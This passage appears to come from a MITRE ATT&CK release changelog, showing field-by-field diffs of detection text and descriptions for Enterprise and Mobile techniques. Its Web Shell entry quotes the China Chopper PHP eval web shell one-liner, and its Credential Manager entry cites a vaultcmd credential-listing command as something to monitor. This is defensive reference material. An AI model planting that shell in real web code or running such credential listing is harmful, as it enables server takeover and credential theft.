Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:20:22.744000+00:002025-10-24 17:49:04.036000+00:00
x_mitre_detectionMonitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.

[T1056.003] Input Capture: Web Portal Capture

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:38.649000+00:002025-10-24 17:48:54.254000+00:00
x_mitre_detectionFile monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.

[T1102] Web Service

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:47.211000+00:002025-10-24 17:49:02.831000+00:00
x_mitre_detectionHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1583.006] Acquire Infrastructure: Web Services

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:49.217000+00:002025-10-24 17:49:04.554000+00:00
x_mitre_detectionOnce adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).

[T1584.006] Compromise Infrastructure: Web Services

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:20:42.131000+00:002025-10-24 17:49:13.641000+00:00
x_mitre_detectionOnce adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).

[T1550.004] Use Alternate Authentication Material: Web Session Cookie

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Web Credential: Web Credential Usage']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:05.730000+00:002025-10-24 17:49:20.943000+00:00
x_mitre_detectionMonitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.

[T1505.003] Server Software Component: Web Shell

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:34.688000+00:002025-10-24 17:48:50.387000+00:00
x_mitre_detectionWeb shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) + +<?php @eval($_POST['password']);> + +Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells) + +File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells) + +Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

[T1059.003] Command and Scripting Interpreter: Windows Command Shell

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:10.209000+00:002025-10-24 17:49:25.722000+00:00
x_mitre_detectionUsage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

[T1555.004] Credentials from Password Stores: Windows Credential Manager

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:21:30.628000+00:002025-10-24 17:49:26.444000+00:00
x_mitre_detectionMonitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault) + +Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) + +Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)

[T1222.001] File and Directory Permissions Modification: Windows File and Directory Permissions Modification

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'Process: Process Creation', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:21:45.352000+00:002025-10-24 17:48:37.826000+00:00
x_mitre_detectionMonitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)

[T1047] Windows Management Instrumentation

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Process: Process Creation', 'WMI: WMI Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:01.648000+00:002025-10-24 17:48:19.670000+00:00
x_mitre_detectionMonitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)

[T1546.003] Event Triggered Execution: Windows Management Instrumentation Event Subscription

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'WMI: WMI Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:50.950000+00:002025-10-24 17:49:06.119000+00:00
x_mitre_detectionMonitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1) + +Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)

[T1021.006] Remote Services: Windows Remote Management

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Service: Service Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:22:03.699000+00:002025-10-24 17:48:51+00:00
x_mitre_detectionMonitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).

[T1543.003] Create or Modify System Process: Windows Service

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Command: Command Execution', 'File: File Metadata', 'Windows Registry: Windows Registry Key Creation', 'Driver: Driver Load', 'Service: Service Modification', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:16.076000+00:002025-10-24 17:48:33.408000+00:00
x_mitre_detectionMonitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. + +Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) + +Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. + +Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1547.004] Boot or Logon Autostart Execution: Winlogon Helper DLL

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:37.982000+00:002025-10-24 17:48:53.539000+00:00
x_mitre_detectionMonitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. + +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1595.003] Active Scanning: Wordlist Scanning

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:22:19.165000+00:002025-10-24 17:49:18.777000+00:00
x_mitre_detectionMonitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1547.013] Boot or Logon Autostart Execution: XDG Autostart Entries

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:14.885000+00:002025-10-24 17:49:30.252000+00:00
x_mitre_detectionMalicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline. + +Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.

[T1220] XSL Script Processing

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:19.125000+00:002025-10-24 17:49:33.993000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. + +The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.

mobile-attack

New Techniques

[T1636.005] Protected User Data: Accounts

Current version: 1.0

Description:

Adversaries may utilize standard operating system APIs to gather account data. On Android, this can be accomplished by using the AccountManager API. For example, adversaries may use the getAccounts() method to list all accounts.(Citation: Android_AccountManager_Feb2025) On iOS, this can be accomplished by using the Keychain services.

+

If the device has been jailbroken or rooted, adversaries may be able to access Accounts without the users’ knowledge or approval.


[T1676] Linked Devices

Current version: 1.0

Description:

Adversaries may abuse the “linked devices” feature on messaging applications, such as Signal and WhatsApp, to register the user’s account to an adversary-controlled device. By abusing the “linked devices” feature, adversaries may achieve and maintain persistence through the user’s account, may collect information, such as the user’s messages and contacts list, and may send future messages from the linked device.

+

Signal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a “linked devices” feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.(Citation: WhatsApp_LinkDevice_NoDate)(Citation: Signal_LinkedDevices_NoDate)

+

Adversaries may use Phishing techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user’s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices. +Upon scanning the QR code in Signal, users may click on the “Transfer Message History” option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user’s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device.

Major Version Changes

[T1453] Abuse Accessibility Features

Current version: 3.0

Version changed from: 2.0 → 3.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1**This technique has been deprecated. Please use [Input Captt1Adversaries may abuse accessibility features in Android devi
>ure](https://attack.mitre.org/techniques/T1417), [Input Inje>ces to steal sensitive data and to spread malware to other d
>ction](https://attack.mitre.org/techniques/T1516), and [Inpu>evices. Accessibility features in Android are designed to as
>t Prompt](https://attack.mitre.org/techniques/T1411) where a>sist users with disabilities, performing a variety of tasks,
>ppropriate.**  A malicious app could abuse Android's accessi> such as using Action Blocks to control lightbulbs, and chan
>bility features to capture sensitive data or perform other m>ging the device’s user interface, such as changing the font 
>alicious actions.(Citation: Skycure-Accessibility)  Adversar>size and adjusting contract or colors.(Citation: Google_Andr
>ies may abuse accessibility features on Android to emulate a>oidAcsOverview)   One example of how adversaries abuse acces
> user's clicks, for example to steal money from a user's ban>sibility features is overlaying an HTML object mimicking a l
>k account.(Citation: android-trojan-steals-paypal-2fa)(Citat>egitimate login screen. The user types their credentials in 
>ion: banking-trojans-google-play)  Adversaries may abuse acc>the overlay HTML object, which is then sent to the adversari
>essibility features on Android devices to evade defenses by >es.(Citation: SahinSRLabs_FluBot_Dec2021)    Another example
>repeatedly clicking the "Back" button when a targeted app ma> is a malicious accessibility feature acting as a keylogger.
>nager or mobile security app is launched, or when strings su> The keylogger monitors changes on the EditText fields and s
>ggesting uninstallation are detected in the foreground. This>ends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec
> effectively prevents the malicious application from being u>2021) This method of attack is also described in [Keylogging
>ninstalled.(Citation: android-trojan-steals-paypal-2fa)>](https://attack.mitre.org/techniques/T1417/001); whereas [A
 >buse Accessibility Features](https://attack.mitre.org/techni
 >ques/T1453) captures the overall abuse of accessibility feat
 >ures.  

New Mitigations:

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_detection
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_tactic_type['Post-Adversary Device Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:29.002000+00:002025-10-27 17:12:01.143000+00:00
description**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.** + +A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility) + +Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play) + +Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device’s user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview) + +One example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) + +Another example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_deprecatedTrueFalse
x_mitre_version2.03.0
external_references[0]{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1453', 'external_id': 'T1453'}{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1453', 'external_id': 'T1453'}
external_references[2]{'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}{'source_name': 'SahinSRLabs_FluBot_Dec2021', 'description': 'Şahin, Erdoğan Yağız. (2021, December 21). When your phone gets sick: FluBot abuses Accessibility features to steal data. Retrieved April 16, 2025.', 'url': 'https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data'}
external_references[1]{'source_name': 'Skycure-Accessibility', 'description': 'Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', 'url': 'https://www.skycure.com/blog/accessibility-clickjacking/'}{'source_name': 'Google_AndroidAcsOverview', 'description': 'Google. (n.d.). Android accessibility overview. Retrieved April 17, 2025.', 'url': 'https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA'}
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsLiran Ravich, CardinalOps
iterable_item_removed
STIX FieldOld valueNew Value
kill_chain_phases{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}
kill_chain_phases{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}
external_references{'source_name': 'banking-trojans-google-play', 'description': 'Lukáš Štefanko. (2018, October 24). Banking Trojans continue to surface on Google Play. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/'}
Minor Version Changes

[T1464] Network Denial of Service

Current version: 1.4

Version changed from: 1.3 → 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:56.195000+00:002025-05-19 15:21:04.030000+00:00
x_mitre_detectionUnexpected loss of radio signal could indicate that a device is being actively jammed.
x_mitre_version1.31.4

[T1660] Phishing

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may send malicious content to users in order to t1Adversaries may send malicious content to users in order to 
>gain access to their mobile devices. All forms of phishing a>gain access to their mobile devices. All forms of phishing a
>re electronically delivered social engineering. Adversaries >re electronically delivered social engineering. Adversaries 
>can conduct both non-targeted phishing, such as in mass malw>can conduct both non-targeted phishing, such as in mass malw
>are spam campaigns, as well as more targeted phishing tailor>are spam campaigns, as well as more targeted phishing tailor
>ed for a specific individual, company, or industry, known as>ed for a specific individual, company, or industry, known as
> “spearphishing”.  Phishing often involves social engineerin> “spearphishing.” Phishing often involves social engineering
>g techniques, such as posing as a trusted source, as well as> techniques, such as posing as a trusted source, as well as 
> evasion techniques, such as removing or manipulating emails>evasion techniques, such as removing or manipulating emails 
> or metadata/headers from compromised accounts being abused >or metadata/headers from compromised accounts being abused t
>to send messages.  Mobile phishing may take various forms. F>o send messages.  Mobile phishing may take various forms. Fo
>or example, adversaries may send emails containing malicious>r example, adversaries may send emails containing malicious 
> attachments or links, typically to deliver and then execute>attachments or links, typically to deliver and then execute 
> malicious code on victim devices. Phishing may also be cond>malicious code on victim devices. Phishing may also be condu
>ucted via third-party services, like social media platforms.>cted via third-party services, like social media platforms. 
>    Mobile devices are a particularly attractive target for >Adversaries may also impersonate executives of organizations
>adversaries executing phishing campaigns.  Due to their smal> to persuade victims into performing some action on their be
>ler form factor than traditional desktop endpoints, users ma>half. For example, adversaries will often use social enginee
>y not be able to notice minor differences between genuine an>ring techniques in text messages to trick the victims into a
>d phishing websites. Further, mobile devices have additional>cting quickly, which leads to adversaries obtaining credenti
> sensors and radios that allow adversaries to execute phishi>als and other information.   Mobile devices are a particular
>ng attempts over several different vectors, such as:   - SMS>ly attractive target for adversaries executing phishing camp
> messages: Adversaries may send SMS messages (known as “smis>aigns.  Due to their smaller form factor than traditional de
>hing”) from compromised devices to potential targets to conv>sktop endpoints, users may not be able to notice minor diffe
>ince the target to, for example, install malware, navigate t>rences between genuine and phishing websites. Further, mobil
>o a specific website, or enable certain insecure configurati>e devices have additional sensors and radios that allow adve
>ons on their device. - Quick Response (QR) Codes: Adversarie>rsaries to execute phishing attempts over several different 
>s may use QR codes (known as “quishing”) to redirect users t>vectors, such as:   - SMS messages: Adversaries may send SMS
>o a phishing website. For example, an adversary could replac> messages (known as “smishing”) from compromised devices to 
>e a legitimate public QR Code with one that leads to a diffe>potential targets to convince the target to, for example, in
>rent destination, such as a phishing website. A malicious QR>stall malware, navigate to a specific website, or enable cer
> code could also be delivered via other means, such as SMS o>tain insecure configurations on their device. - Quick Respon
>r email. In the latter case, an adversary could utilize a ma>se (QR) Codes: Adversaries may use QR codes (known as “quish
>licious QR code in an email to pivot from the user’s desktop>ing”) to redirect users to a phishing website. For example, 
> computer to their mobile device. - Phone Calls: Adversaries>an adversary could replace a legitimate public QR Code with 
> may call victims (known as “vishing”) to persuade them to p>one that leads to a different destination, such as a phishin
>erform an action, such as providing login credentials or nav>g website. A malicious QR code could also be delivered via o
>igating to a malicious website. This could also be used as a>ther means, such as SMS or email. In the latter case, an adv
> technique to perform the initial access on a mobile device,>ersary could utilize a malicious QR code in an email to pivo
> but then pivot to a computer/other network by having the vi>t from the user’s desktop computer to their mobile device. -
>ctim perform an action on a desktop computer. > Phone Calls: Adversaries may call victims (known as “vishin
 >g”) to persuade them to perform an action, such as providing
 > login credentials or navigating to a malicious website. Thi
 >s could also be used as a technique to perform the initial a
 >ccess on a mobile device, but then pivot to a computer/other
 > network by having the victim perform an action on a desktop
 > computer. 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-29 19:45:39.608000+00:002025-08-20 14:33:34.968000+00:00
descriptionAdversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing”. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages. + +Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. + +Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: + +- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device. +- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device. +- Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer. +Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing.” Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages. + +Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information. + +Mobile devices are a particularly 